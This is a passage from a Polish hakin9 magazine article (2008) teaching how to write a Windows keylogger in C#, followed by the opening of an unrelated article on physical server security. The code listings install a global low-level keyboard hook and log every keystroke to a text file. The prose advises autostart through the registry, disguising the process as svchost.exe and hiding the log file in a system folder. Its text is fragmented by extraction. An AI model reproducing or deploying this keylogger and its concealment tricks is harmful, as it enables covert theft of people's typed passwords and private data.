CallNextHookEx

(

IntPtr

hhk

,

int

nCode

,

IntPtr

wParam

,

IntPtr

lParam

);

[

DllImport

(

"user32.dll"

)]

private

static

extern

int

ToAscii

(

uint

uVirtKey

,

uint

uScanCode

,

byte

[]

lpKeyState

,

ref

char

lpChar

,

uint

flags

);

[

DllImport

(

"user32.dll"

)]

private

static

extern

bool

GetKeyboardState

(

byte

[]

data

);

[

DllImport

(

"user32.dll"

)]

static

extern

short

GetKeyState

(

int

nVirtKey

);

Listing 3.

Pola klasy TestDll

private

static

char

caughtChar

;

private

static

string

path

=

"C:

\\

plik.txt"

;

private

const

byte

VK_SHIFT

=

0x10

;

private

const

byte

VK_CAPITAL

=

0x14

;

private

static

bool

CapsLockDown

;

private

static

bool

ShiftDown

;

private

const

uint

WM_KEYDOWN

=

0x0100

;

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

44

oraz rodzaj operacji, jaką chcemy wy-
konać (stworzony przez nas typ wyli-
czeniowy

asOperation

). Aby stworzyć

obiekt reprezentujący klucz rejestru,
używamy metody

OpenSubKey

. W zależ-

ności od tego, czy jest to metoda wła-
sności

CurrentUser

, czy

LocalMachine

,

wpis stworzony będzie odpowied-
nio w HKEY_CURRENT_USER lub
w HKEY_LOCAL_MACHINE. Do
sprawdzenia wartości klucza służy
metoda

GetValue

. Do zapisu klucza

używamy metody

SetValue

, a do jego

usunięcia –

DeleteValue

. Każda z tych

|metod może generować wyjątek, do-
datkowo sam proces tworzenia obiektu
klasy

RegistryKey

może spowodować

zgłoszenie wyjątku – w związku z tym
całość umieszczamy w bloku ochron-
nym try-catch. Wyjątki mogą być spo-
wodowane brakiem dostępu do rejestru
lub konkretnego klucza. Wywołanie tej
metody najlepiej umieścić w kodzie wy-
konywanym w trakcie uruchamiania
programu. Może to być konstruktor for-
my bądź zdarzenie

Load

– w przypad-

ku aplikacji Windows Forms. Możemy
wtedy sprawdzić, czy istnieje w reje-
strze odpowiedni klucz i w przypadku
jego braku – utworzyć go.

Umiemy już umieszczać naszą

aplikację w autostarcie. Jednak po
uruchomieniu będzie nadal widoczna
w oknie menadżera zadań. W syste-

mach Windows począwszy od 2000
nie ma, na szczęście, łatwego sposo-
bu, aby usunąć nazwę procesu z me-
nadżera zadań. Ale możemy udawać
proces systemowy. Wystarczy na-
zwać nasz program np. svchost.exe.
Ta prosta sztuczka zadziała w więk-
szości przypadków. Można jeszcze
uruchomić program w trybie usługi.

Windows hooks

Jak wspomnieliśmy na początku, dzia-
łanie systemu Windows opiera się na
przekazywaniu komunikatów (ang.
Windows messages). Haki pozwala-
ją nam na zainstalowanie specjalnych
funkcji monitorujących, których zada-
niem jest przetwarzanie komunikatów
Windows, nim dotrą do konkretnej apli-
kacji. Do dyspozycji mamy kilka typów
haków i dla każdego takiego typu sys-
tem tworzy tzw. łańcuch funkcji moni-
torujących. W momencie zajścia zda-
rzenia związanego z określonym ty-
pem haków komunikat Windows kiero-
wany jest najpierw do funkcji monitoru-
jących znajdujących się w określonym
łańcuchu. Typ haka determinuje czyn-
ności, które funkcja monitorująca mo-
że przeprowadzić na przechwyconym
komunikacie. Niektóre typy pozwala-
ją tylko na odczyt danych z komuni-
katu. Istnieją również takie, dzięki któ-
rym komunikat może być zmodyfiko-

wany a także może nie dotrzeć do wy-
branej aplikacji. Funkcje monitorujące
mogą mieć zasięg lokalny bądź glo-
balny (zwany również systemowym).
Zasięg lokalny daje funkcji monitorują-
cej możliwość przechwycenia komuni-
katów zdarzeń, które zaszły tylko we-
wnątrz wątku, w którym funkcja zosta-
ła zainstalowana. Wątek można koja-
rzyć z konkretnym programem. Zasięg
globalny pozwala na odbieranie komu-
nikatów zdarzeń, które zaszły w każ-
dym wątku działającym w systemie.
Jednakże, jeżeli funkcja monitorująca
ma mieć zasięg globalny, jej kod musi
być umieszczony w bibliotece łączonej
dynamicznie (DLL).

Program podsłuchujący klawia-

turę będzie się składał z dwóch pro-
jektów. Pierwszy będzie zawierać bi-
bliotekę DLL, ponieważ chcemy prze-
chwytywać komunikaty wygenero-
wane dla każdej aplikacji działającej
w systemie. Drugi projekt będzie od-
powiedzialny za zainstalowanie funk-
cji monitorującej. Funkcja monitorują-
ca będzie składową pisanej przez nas
klasy, więc powinniśmy używać raczej
określenia metoda. My jednak pozo-
staniemy przy terminie funkcja monito-
rująca, aby podkreślić jej pochodzenie
z biblioteki systemowej. Używając je-
dynie platformy .NET nie mamy moż-
liwości wykorzystania obiektów, któ-
re pozwalałyby nam na korzystanie
z haków. Jest to naturalna konsekwen-
cja związana z przenaszalnością ko-
du. Będziemy musieli więc wykorzy-
stać niektóre funkcje

WinAPI

z bibliotek

DLL systemu Windows. Do importu
funkcji z bibliotek DLL służy polecenie

DllImport

. Aby wygodnie go używać,

do projektu w sekcji

using

należy do-

dać przestrzeń nazw

System.Runtime.

InteropServices

. Polecenie

DllImport

ma następującą składnię:

[DllImport(nazwa_pliku_DLL)]
Modyfikator _ dostępu static extern
typ _ zwracany NazwaFunkcji(
parametry};

Parametry są opcjonalne, ponieważ
istnieje wiele funkcji, które nie przyj-
mują żadnych parametrów. Warto
dodać, iż importując funkcje WinAPI
możemy napotkać problem z wybo-

Listing 4.

Metoda zapisująca przechwycone klawisze do pliku

tekstowego

private

static

void

SaveChar

(

char

theChar

,

string

where

)

{

if

(

File

.

Exists

(

where

))

{

using

(

StreamWriter

sw

=

File

.

AppendText

(

where

))

{

sw

.

Write

(

theChar

);

// nowa linia

if

(

theChar

==

'

\r

'

)

sw

.

Write

(

'

\n

'

);

}

}

else

{

using

(

StreamWriter

sw

=

File

.

CreateText

(

where

))

{

sw

.

Write

(

theChar

);

if

(

theChar

==

'

\r

'

)

sw

.

Write

(

'

\n

'

);

}

}

}

background image

C#.NET – podsłuchiwanie klawiatury

hakin9 Nr 01/2008

www.hakin9.org

45

rem odpowiedniego typu dla wskaź-
ników i uchwytów. Dla platformy .NET
są one reprezentowane przez struk-
turę

IntPtr

.

Tworzymy bibliotekę

łączoną dynamicznie

W części tej stworzymy bibliotekę DLL,
która będzie zawierać funkcję monito-
rującą. Właśnie tę bibliotekę będzie-
my wstrzykiwać w strumień komunika-
tów systemu Windows. Do przygoto-
wania programu użyjemy darmowego
środowiska Visual C# 2005 Express
Edition. Można je pobrać ze stron fir-
my Microsoft. Odpowiedni link znajdu-
je się w ramce W Sieci. Uruchamiamy
Visual C# 2005 i wybieramy File –>
New Project –> Class Library i nada-
jemy naszemu projektowi nazwę Test-
Dll
. Jak zawsze, środowisko Visual C#
2005 Expres Edition generuje pewien
szablon kodu. Dodamy teraz do utwo-
rzonego szkieletu klasy odpowiednie
metody i pola. Zaczniemy od zaimpor-
towania czterech funkcji WinAPI, które
pochodzić będą z biblioteki user32.dll
(Listing 2).

Pierwsza funkcja to

CallNext-

HookEx

. Ma ona za zadanie przekazać

komunikat otrzymany przez funkcję
monitorującą do kolejnej funkcji moni-
torującej. Jej pierwszym parametrem
jest uchwyt do aktualnie zainstalowa-
nej funkcji monitorującej. Pozostałe
parametry zostaną omówione, gdy
zdefiniujemy funkcję monitorującą.
Wartość zwracana przez funkcję jest
różna w zależności od typu haka. Ko-
lejne z importowanych funkcji umoż-
liwiają odczytanie znaku wciśniętego
klawisza klawiatury z odebranego ko-
munikatu. Funkcja

ToAscii

służy do

zamiany kodu wirtualnego klawisza
na odpowiedni znak w kodzie ASCII.
Jej parametry to:

uVirtKey

– wirtualny kod klawisza,

uScanCode

– tzw. hardware scan

code. Najbardziej znaczący bit
tego parametru jest ustawiony,
jeżeli klawisz nie jest wciśnięty,

lpKeyState

– 256-elementowa ta-

blica, która zawiera aktualny stan
klawiatury. Każdy element tablicy
przechowuje status jednego kla-
wisza,

lpChar

– parametr, w którym zo-

stanie zapisany znak w kodzie
ASCII,

flags

– flagi dotyczące menu.

Jeżeli funkcja zadziała poprawnie,
wówczas zwracana jest wartość nie-
zerowa. Do określania aktualnego
stanu klawiatury służy kolejna funk-
cja o nazwie

GetKeyboardState

. Para-

metrem funkcji jest 256-elementowa
tablica zmiennych typu

byte

, w któ-

rej zostanie zapisany aktualny stan
klawiatury. Jeżeli funkcja zadziała
poprawnie, również zwraca wartość
różną od 0. W celu określenia stanu
pojedynczego klawisza skorzystamy
z funkcji

GetKeyState

. Parametrem

funkcji jest wirtualny kod klawisza,
którego stan chcemy określić. Kla-
wisz może być wciśnięty, zwolniony
lub przełączony. Terminem klawisz
jest przełączony będziemy oznaczać
stan, w którym wciśnięcie wybrane-
go klawisza powoduje uaktywnienie
pewnego trybu (np. wciśnięcie kla-
wisza Caps Lock powoduje włącze-
nie trybu pisania dużymi literami).
Wartość zwracana przez funkcję

GetKeyState

informuje nas o stanie

wybranego klawisza. Jeżeli najbar-
dziej znaczący bit zwracanej warto-
ści jest ustawiony, to klawisz jest wci-
śnięty. W przeciwnym wypadku jest
zwolniony. Jeżeli najmniej znaczący

bit jest ustawiony, wówczas wybrany
klawisz jest przełączony. W przeciw-
nym wypadku nie jest przełączony.
Możemy teraz przejść do dodania
pól do naszej klasy (Listing 3).

W pierwszym z nich zapiszemy

nasz przechwycony znak (

caught-

Char

). Pole

path

typu

string

będzie

określało ścieżkę do pliku, w którym
będziemy zapisywać przechwycone
znaki. Jest on plikiem tekstowym, aby
można było w prosty sposób spraw-
dzić działanie programu. Jednakże
w celu lepszego ukrycia tego pli-
ku moglibyśmy np. zapisywać znaki
w pliku binarnym i umieścić go w fol-
derze $Windows\System (jeżeli posia-
damy do niego prawa zapisu), gdzie
przeciętny użytkownik rzadko zaglą-
da – jest zresztą wiele innych miejsc
na dysku, gdzie nasz plik może spo-
kojnie egzystować, nie nękany przez
użytkownika. Oczywiście nazwa pliku
też powinna być wtedy inna.

Kolejne cztery pola związane są

z klawiszami Shift i Caps Lock. Stałe

VK _ SHIFT

i

VK _ CAPITAL

oznaczają od-

powiednio kody klawiszy wirtualnych
Shift i Caps Lock. Pole ShiftDown bę-
dzie przyjmować wartość true, jeże-
li klawisz Shift jest wciśnięty. W prze-
ciwnym wypadku pole to przyjmie
wartość false. Pole CapsLockDown
będzie przyjmować wartość true, je-
żeli klawisz CapsLock został przełą-

Listing 5.

Metoda odczytująca znak z przechwyconego komunikatu

private static char

GetChar

(

int vkCode

)

{

byte

[]

data

=

new

byte

[

256

];

GetKeyboardState

(

data

);

char

myChar

=

' '

;

uint

scan

=

0

;

ToAscii

((

uint

)

vkCode

,

scan

,

data

,

ref

myChar

,

0

);

return

myChar

;

}

Listing 6.

Definicja struktury KBDLLHOOKSTRUCT

[

StructLayout

(

LayoutKind

.

Sequential

)]

public

struct

KBDLLHOOKSTRUCT

{

public

int

vkCode

;

public

int

scanCode

;

public

int

flags

;

public

int

time

;

public

int

dwExtraInfo

;

}

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

46

czony, powodując uaktywnienie trybu
pisania dużymi literami. Natomiast po
wyłączeniu tego trybu polu zostanie
przypisana wartość false. Ostatnim
polem będzie kod komunikatu syste-
mu Windows, który jest generowany
w momencie wciśnięcia niesystemo-
wego klawisza klawiatury.

Możemy teraz przejść do napisa-

nia dwóch prywatnych metod, które
wykorzystywać będzie funkcja moni-
torująca. Pierwsza z nich będzie słu-
żyć do zapisu określonego znaku
w wybranym miejscu. Na początku
musimy dodać przestrzeń nazw Sys-

tem.IO. Kod metody jest pokazany
na Listingu 4.Na początku następuje
sprawdzenie, czy wybrany plik już ist-
nieje. Jeżeli tak, dopisujemy do niego
kolejne dane. Jeżeli nie istnieje, two-
rzymy go i zapisujemy w nim dane.
Warto zwrócić uwagę, że dzięki użyciu
słowa kluczowego

using

nie musimy

się martwić o zamknięcie pliku.

Druga metoda pozwoli nam na od-

czytanie z przechwyconego komu-
nikatu znaku odpowiadającego wci-
śniętemu klawiszowi. Jako parametr
przyjmuje ona kod wirtualnego klawi-
sza. Funkcja zwraca odczytany znak.

Jej definicja jest pokazana na Listin-
gu 5. Działanie tej metody sprowadza
się do użycia dwóch wcześniej zaim-
portowanych funkcji WinAPI z odpo-
wiednimi parametrami. Możemy teraz
przejść do meritum sprawy, czyli napi-
sania definicji funkcji monitorującej (Li-
sting 6). Funkcja będzie przyjmować
następujące parametry:

• code

– określa kod, na podstawie

którego funkcja monitorująca prze-
twarza otrzymany komunikat. Je-
żeli parametr ten jest mniejszy od
zera, to wymagane jest, aby funk-
cja monitorująca wywołała funkcję

CallNextHookEx

i zwróciła wartość

zwracaną przez tę funkcję,

• wParam

– określa identyfikator ko-

munikatu klawiatury,

• lParam

– reprezentuje wskaźnik do

struktury KBDLLHOOKSTRUCT.
Aby móc korzystać z tej struktury,
musimy ją przedtem zdefiniować.
W tym celu przed definicją klasy
dodajemy kod z Listingu 6.

Z naszego punktu widzenia najważ-
niejsze pole tej struktury to

vkCode

.

Posłuży nam ono jako parametr
przekazywany do funkcji

ToAscii

.

Parametry

code

,

wParam

oraz

lParam

są odpowiednio drugim, trzecim
i czwartym parametrem funkcji

CallNextHookEx

.

Na początku metody sprawdza-

my, czy nastąpiło zdarzenie wciśnię-
cia klawisza niesystemowego oraz
czy parametr

code

ma wartość więk-

szą bądź równą zero. Używamy sta-
tycznej metody

PtrToStructure

klasy

Marshal

w celu zamiany parametru

lParam

na strukturę KBDLLHOOK-

STRUCT. Metoda ta jako pierwszy
parametr przyjmuje wskaźnik do nie-
zarządzanego bloku pamięci (wskaź-
niki na platformie .NET są reprezen-
towane przez strukturę

IntPtr

). Dru-

gi parametr to typ obiektu, który ma
utworzyć. Wartością zwracaną jest
nowo utworzony obiekt klasy

Object

.

Zawiera on dane wskazywane przez
wskaźnik przekazany jako pierwszy
parametr. Zwracaną wartość rzutuje-
my jeszcze na strukturę KBDLLHO-
OKSTRUCT
. Pierwsza instrukcja wa-
runkowa

if

ustala wielkość znaków

Listing 7.

Funkcja monitorująca

public static

IntPtr MonitorFunction

(

int

code

,

IntPtr wParam

,

IntPtr lParam

)

{

try

{

if

(

wParam

.

ToInt64

()

==

WM_KEYDOWN

&&

code

>=

0

)

{

KBDLLHOOKSTRUCT

hookStruct

=

(

KBDLLHOOKSTRUCT

)

Marshal

.

PtrToStructure

(

l

Param

,

typeof

(

KBDLLHOOKSTRUCT

));

// Shift wciśnięty ??

ShiftDown

=

((

GetKeyState

(

VK_SHIFT

)

&

0x80

)

==

0x80

?

true

:

false

);

// Tryb pisania dużymi literami włączony ??

CapsLockDown

=

(

GetKeyState

(

VK_CAPITAL

)

!=

0

?

true

:

false

);

caughtChar

=

GetChar

(

hookStruct

.

vkCode

);

if

((

CapsLockDown

^

ShiftDown

)

&&

Char

.

IsLetter

(

caughtChar

))

caughtChar

=

Char

.

ToUpper

(

caughtChar

);

if

((

caughtChar

==

0x0d

&&

hookStruct

.

vkCode

==

0x0d

)

||

(

caughtChar

>

0x20

&&

caughtChar

<=

0x7e

)

||

(

caughtChar

==

0x20

&&

hookStruct

.

vkCode

==

0x20

))

SaveChar

(

caughtChar

,

path

);

}

}

catch

{}

return

CallNextHookEx

(

IntPtr

.

Zero

,

code

,

wParam

,

lParam

);

}

Listing 8.

Importowanie funkcji WinAPI

[

DllImport

(

"user32.dll"

)]

private

static

extern

IntPtr

SetWindowsHookEx

(

int

code

,

HookProc

func

,

IntPtr

hInstance

,

int

threadID

);

[

DllImport

(

"user32.dll"

)]

private

static

extern

bool

UnhookWindowsHookEx

(

IntPtr

hhk

);

[

DllImport

(

"Kernel32.dll"

)]

private

static

extern

IntPtr

GetModuleHandle

(

string

moduleName

);

Listing 9.

Definicja pól klasy HookClass

private

delegate

IntPtr

HookProc

(

int

code

,

IntPtr

wParam

,

IntPtr

lParam

);

private

static

HookProc

hookProc

;

private

IntPtr

result

;

private

const

int

WH_KEYBOARD_LL

=

0x0d

;

background image

C#.NET – podsłuchiwanie klawiatury

hakin9 Nr 01/2008

www.hakin9.org

47

będących literami. Druga konstruk-
cja

if

dba, aby tylko wybrane znaki

były zapisywane do pliku.

Biblioteka DLL została już stwo-

rzona. Kolejnym krokiem będzie
stworzenie projektu, który użyje tej
biblioteki w celu monitorowania kla-
wiatury.

Instalujemy funkcję

monitorującą

Zaczynamy od stworzenia nowego
projektu Windows Forms Applica-
tion
. Nadajemy mu nazwę TestHo-
oks
. Do projektu dodajemy nową kla-
sę przez wybranie opcji Project –>
Add Class. W polu Name wpisujemy
HookClass. W klasie tej umieścimy
kod umożliwiający uruchomienie mo-
nitorowania klawiatury. Forma Form1
w tym projekcje będzie symulowa-
ła pewną aplikację, w której istnieje
możliwość użycia opcji monitorowa-
nia klawiatury. Możemy teraz przejść
do napisania definicji klasy HookC-
lass
. Zaczniemy od importu potrzeb-
nych funkcji WinAPI (Listing 8).

Haki są instalowanie przez wy-

wołanie funkcji

SetWindowsHookEx

.

Parametry tej funkcji to:

idHook

– określa typ haka, jaki

chcemy zainstalować,

func

– delegacja dla zarejestro-

wanej funkcji monitorującej,

hInstance

– uchwyt do bibliote-

ki DLL, która zawiera definicję
funkcji monitorującej,

threadID

– określa identyfikator

wątku, z którym ma być związa-
na funkcja monitorująca.

Jeżeli funkcja ta zadziała popraw-
nie, zwróci uchwyt do funkcji mo-
nitorującej. W przeciwnym wypad-
ku zwróci wartość

null

. Gdy już nie

chcemy przechwytywać wybranych
komunikatów, możemy odinstalo-
wać funkcję monitorującą. Służy do
tego funkcja

UnhookWindowsHookEx

.

Jej parametr to uchwyt do funkcji
monitorującej, który otrzymujemy
jako wartość zwracaną przez funk-
cję

SetWindowsHookEx

. Jeżeli funkcja

zadziała poprawnie, zwracana war-
tość jest niezerowa. W przeciwnym
wypadku zwracaną wartością jest
zero. Funkcja

GetModuleHandle

uzy-

skuje uchwyt do wybranego modu-
łu, którego nazwę przekazujemy ja-
ko parametr (

plik

.dll lub .exe). Je-

żeli funkcja zadziała prawidłowo,
wówczas zwracaną wartością jest
uchwyt do żądanego modułu.

W kolejnym kroku zdefiniujemy

delegację dla funkcji monitorują-
cej. Jej sygnatura i typ muszą za-
tem być zgodne z sygnaturą i ty-
pem zwracanym funkcji monitorują-
cej. Po zdefiniowaniu delegacji two-
rzymy jej referencję. Warto podkre-
ślić, że obiekt delegacji musi być za-
deklarowany jako static. Potrzeb-
ne nam będzie także pole, w któ-
rym zapiszemy uchwyt do funkcji
monitorującej zwracany przez funk-
cję

SetWindowsHookEx

. Nazwiemy je

result

. Ostatnim polem będzie stała

oznaczająca typ haka, jaki chcemy
zainstalować. Nasza funkcja ma za
zadanie przechwytywać komunika-
ty klawiatury, więc parametr ten bę-
dzie miał wartość 0x0d i nazwiemy
go

WH _ KEYBOARD _ LL

. Kroki te przed-

stawia Listing 9.

Teraz zajmiemy się napisaniem

prywatnej metody

GetHookProc

, dzię-

ki której stworzymy obiekt delega-
cji

HookProc

z zarejestrowaną funk-

cją monitorującą. W projekcie przyj-
mujemy, że biblioteka DLL nosi na-
zwę TestDll, znajduje się w tym sa-
mym katalogu, co plik wykonywalny
oraz że nazwa funkcji monitorującej
to MonitorFunction. Kod metody jest
przedstawiony na Listingu 10.

Listing 10.

Metoda GetHookProc

private

bool

GetHookProc

()

{

try

{

string

sc

=

Environment

.

CurrentDirectory

+

"

\\

"

+

"TestDll.dll"

;

Assembly

a

=

Assembly

.

LoadFrom

(

sc

);

Type

[]

tab

=

a

.

GetExportedTypes

();

MethodInfo

methodInfo

=

null

;

foreach

(

Type

t

in

tab

)

{

methodInfo

=

t

.

GetMethod

(

"MonitorFunction"

);

}

hookProc

=

(

HookProc

)

Delegate

.

CreateDelegate

(

typeof

(

HookProc

)

,

methodInfo

);

return

true

;

}

catch

{

return

false

;

}

}

W Sieci

http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge – artykuł opisujący

haki w systemie Windows,

http://msdn2.microsoft.com/en-us/library/ms997537.aspx – kolejny artykuł opisu-

jący haki w systemie Windows,

http://msdn2.microsoft.com/en-us/express/aa975050.aspx – witryna Microsoft,

skąd można pobrać środowisko Visual C# 2005 Express Edition,

http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platfor-

my .NET i nie tylko. Naprawdę godny polecenia,

http://www.codeguru.pl – polska strona dla programistów .NET,
http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszyst-

kich klas, własności i metod, jakie zawiera platforma .NET wraz z przykładowymi
programami.

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

48

W metodzie tej mamy zaprezen-

towany jeden ze sposobów impor-
towania metod z bibliotek łączenia
dynamicznego, stworzonych z wy-
korzystaniem Visual C#. Aby móc
to zrobić, musimy dodać do projek-
tu przestrzeń nazw System.Reflec-

tion. Na początku tworzymy zmien-
ną typu

string

, która zawiera ścież-

kę do pliku DLL, z którego chcemy
importować metodę. Następnie two-
rzymy obiekt klasy

Assembly

, repre-

zentujący tzw. pakiet kodu (ang. as-
sembly
). Pakietem kodu może być

zarówno biblioteka łączona dyna-
micznie, jak i plik wykonywalny.
Obiekt klasy

Assembly

jest tworzo-

ny przez wywołanie statycznej me-
tody tej klasy –

LoadFrom

. Jej para-

metrem jest ścieżka do pakietu ko-
du, który chcemy załadować. Me-
toda zwraca nam nowo utworzo-
ny obiekt klasy

Assembly

. Kolej-

nym krokiem jest wywołanie meto-
dy

GetExportedTypes

klasy

Assembly

.

Metoda ta zwraca publiczne typy
znajdujące się w określonym pa-
kiecie kodu, które użytkownik może
wykorzystać w swojej zewnętrznej
aplikacji. Uzyskujemy w ten sposób
tablicę obiektów klasy

Type

. Następ-

nie deklarujemy pustą referencję do
obiektu klasy

MethodInfo

. Teraz mu-

simy przeszukać nasze typy w ce-
lu odnalezienia typu będącego kla-
są zawierającą definicję funkcji mo-
nitorującej. Najlepiej do tego celu
nadaje się pętla

foreach

. Wewnątrz

pętli używamy metody

GetMethod

do

sprawdzenia, czy dany typ zawiera
definicję funkcji monitorującej. Je-
żeli znajdziemy taki typ, wówczas

GetMethod

zwraca nam obiekt typu

MethodInfo

, w przeciwnym wypadku

będzie to wartość

null

.

Pora teraz na stworzenie obiek-

tu delegacji. Wykorzystamy do tego
statyczną metodę klasy

Delegate

o nazwie

CreateDelegate

, która

przyjmuje dwa parametry. Pierw-
szym z nich jest typ delegacji, ja-
ki ma zostać stworzony. Drugi to
obiekt typu

MethodInfo

. Aby uzy-

skać typ naszej delegacji, używa-
my operatora

typeof

. Ponieważ

metoda

CreateDelegate

zwraca

obiekt typu

Delegate

, musimy rzu-

tować zwracany typ na typ naszej
delegacji. Metoda zwraca wartość
różną od zera, gdy uda się utwo-
rzyć delegację z zarejestrowaną
funkcją monitorującą, w innym wy-
padku zwraca zero.

Możemy teraz przejść do napisa-

nia publicznej metody

InstallHook

,

która posłuży nam do zainstalowa-
nia funkcji monitorującej. Definicję
tej metody przedstawia Listing 11.

Warto zwrócić uwagę, że iden-

tyfikator wątku równa się 0. Dzieje
się tak, ponieważ chcemy powiązać

Listing 11.

Metoda instalująca oraz usuwająca funkcję monitorującą

public bool

InstallHook

()

{

try

{

if

(

GetHookProc

())

{

result

=

SetWindowsHookEx

(

WH_KEYBOARD_LL

,

hookProc

,

GetModuleHan

dle

(

"TestDll.dll"

)

,

0

);

return

true

;

}

else

return

false

;

}

catch

{

return

false

;

}

}

public

void

CloseHook

()

{

UnhookWindowsHookEx

(

result

);

}

Listing 12.

Definicja klasy Form1

using

System

;

using

System

.

Collections

.

Generic

;

using

System

.

ComponentModel

;

using

System

.

Data

;

using

System

.

Drawing

;

using

System

.

Text

;

using

System

.

Windows

.

Forms

;

namespace

TestHooks

{

public

partial

class

Form1

:

Form

{

private

HookClass

hookClass

;

private

bool

hookInstallDone

=

true

;

public

Form1

()

{

InitializeComponent

();

hookClass

=

new

HookClass

();

if

(!

hookClass

.

InstallHook

())

hookInstallDone

=

false

;

}

private

void

OnClosing

(

object

sender

,

EventArgs

e

)

{

if

(

hookInstallDone

)

hookClass

.

CloseHook

();

}

}

}

background image

naszą funkcję monitorującą z wszystkimi istniejącymi
wątkami. Odinstalowanie funkcji monitorującej odbywa
się przez wywołanie publicznej metody

CloseHook

, któ-

rej definicję przedstawia również Listing 11.

Możemy teraz przejść do stworzenia obiektu naszej

klasy. Przechodzimy do widoku formy Form1 i naciska-
my F7. Przypominamy, że forma reprezentuje w naszym
projekcie pewną aplikację, w której chcemy mieć możli-
wość użycia funkcji monitorującej. Jej kod przedstawia
Listing 12.

W konstruktorze Form1 tworzymy nowy obiekt kla-

sy

HookClass

i wywołujemy funkcję monitorującą. Mo-

nitorowanie powinno zostać zatrzymane w momencie,
gdy aplikacja skończy działanie. W związku z tym dla
zdarzenia

FormClosing

dodajemy metodę zdarzeniową,

która wyłączy nasz hak. Pole

hookInstallDone

zabez-

piecza przed próbą odinstalowania funkcji monitorują-
cej, gdy nie została ona wcześniej zainstalowana.

Podsumowanie

Artykuł ten opisuje użycie haków systemu Windows
w celu podsłuchiwania klawiatury. Jednak mechanizm
haków nie został stworzony po to, żeby umożliwić pi-
sanie narzędzi hakerskich. Haki nadają się świetnie
wszędzie tam, gdzie zachodzi potrzeba nadzorowania
jednej aplikacji przez inną (np. tryb debuggera, apli-
kacje szkoleniowe). Jeśli nie podoba nam się działa-
nie jakieś aplikacji w związku z konkretnym zdarze-
niem, możemy napisać własną metodę zdarzeniową
i podpiąć się z nią za pomocą mechanizmu haków do
aplikacji. Można też napisać własny hak, który będzie
w stanie wyłączyć inne haki. Jak widać, możliwości
jest wiele – ale ta swoboda stanowi jednocześnie du-
że zagrożenie, co – mamy nadzieję – pokazał ten ar-
tykuł. l

O autorach

Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest

doktorantem na Wydziale Fizyki, Astronomii i Informatyki Sto-
sowanej Uniwersytetu Mikołaja Kopernika w Toruniu. Zajmuje
się symulacjami komputerowymi układów biologicznych (dy-
namika molekularna) oraz bioinformatyką. Programowanie
jest nieodzowną częścią jego pracy naukowej i dydaktycznej.
Ma doświadczenie w programowaniu w językach C, C++, Del-
phi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje
od 2002 roku. Jest autorem książek informatycznych.
Strona domowa: http://www.fizyka.umk.pl/~bigman/.
Kontakt z autorem: bigman@fizyka.umk.pl.
Maciej Pakulski – absolwent studiów inżynierskich na kierun-

ku Fizyka Techniczna Wydziału Fizyki, Astronomii i Informa-
tyki Stosowanej Uniwersytetu Mikołaja Kopernika w Toruniu.
Obecnie na studiach magisterskich. Programowaniem zajmu-
je się od 2004 roku. Potrafi programować biegle w językach
C/C++, Java, VHDL. Programowaniem w języku C#, a także
platformą .NET zajmuje się od 2006 roku.
Kontakt z autorem: mac_pak@interia.pl.

background image

www.hakin9.org

hakin9 Nr 01/2008

50

Obrona

S

erwery to komputery świadczące usłu-
gi sieciowe (w firmie i poza nią) klien-
tom bądź użytkownikom oraz wykonu-

jące specjalne zadania, do których zostały za-
projektowane. Dobrym przykładem mogą być
tutaj komputery PC, spełniające rolę interneto-
wego serwera WWW, serwera pocztowego lub
dostępowego, firewalla czy obsługujące firmo-
wy intranet. Od nich zależy sprawne działanie
każdej sieci, dlatego przy ich budowaniu stawia
się przede wszystkim na niezawodność i bez-
pieczeństwo zgromadzonych na nich danych.

Przede wszystkim zdecydowana większość

serwerów musi pracować 24 godziny na dobę
przez 7 dni w tygodniu i wszystkie podzespo-
ły muszą być niezawodne. Narażone na uszko-
dzenia są zwłaszcza komponenty zawierające
liczne elementy mechaniczne, przede wszyst-
kim twarde dyski, ale również wentylatory czy
zasilacze.

Firmy wykorzystujące systemy e-bizneso-

we muszą zapewnić stały wgląd do swoich za-
sobów – nie tylko pracownikom, ale również ko-
operantom i potencjalnym klientom. W takim
przypadku nie ma mowy o jakimkolwiek prze-
stoju. Każda chwila, w której niedostępna jest
na przykład firmowa witryna WWW, może skut-

kować utratą klienta, a co za tym idzie – zmniej-
szeniem obrotów. Dlatego przy zakupie serwera
nie należy się kierować tylko wydajnością urzą-
dzenia, ale również szeregiem aspektów doty-
czących ochrony i bezpieczeństwa danych oraz
zapleczem technicznym gwarantowanym przez
dostawcę lub producenta. Takie urządzenia nie
należą do tanich. Wreszcie, gdyby doszło jed-
nak do awarii, konstrukcja serwera musi zapew-
niać jak najszybszą możliwość wymiany uszko-
dzonego podzespołu. Równie istotne jest, aby
serwer pozwalał w łatwy sposób wykonywać ko-
pie zapasowe danych na wszelkie przewidziane
i nieprzewidziane wypadki.

Fizyczna ochrona

farm serwerów

Rafał Podsiadły

stopień trudności

Pisze się wiele o zagrożeniach i lukach systemowych, a nikt nie

pamięta o urządzeniach, które pełnią ważną rolę w ochronie

serwera, ani o zagrożeniach związanych z mechaniką.

Z artykułu dowiesz się

• jak zabezpieczyć swój serwer,
• jakich narzędzi użyć,
• jakie są standardy obowiązujące w tak zwa-

nych farmach serwerów.

Co powinieneś wiedzieć

• znać podstawy systemów operacyjnych,
• znać podstawy sieci i technik komputerowych.

background image

Serwery – co im zagraża, jak się zabezpieczyć

hakin9 Nr 01/2008

www.hakin9.org

51

W przypadku małego serwera

zbudowanego na komputerze sta-
cjonarnym (zdecydowanie nie pole-
cam tego typu rozwiązania, jednak
takie istnieją), uszkodzenie sprzę-
tu sprowadza się do pójścia do skle-
pu i wymiany wadliwego elementu
na nowy. Zakres czasowy napra-
wy to kilka godzin. W sytuacji, gdy
poważnie podchodzimy do bezpie-
czeństwa danych, szukamy bardziej
wyrafinowanych rozwiązań. Urzą-
dzenie, które chcielibyśmy postawić
w naszej firmie, ma spełniać wyma-
gania określone w dalszej części te-
go artykułu. Powinno być bezpiecz-
ne i niezawodne. Obecnie na rynku
jest duży wybór takich rozwiązań,
jedynie zasób gotówki, jaki chce-
my przeznaczyć na ten cel, decy-
duje o jego funkcjonalności. Gotowe
serwery są profesjonalnie przygoto-
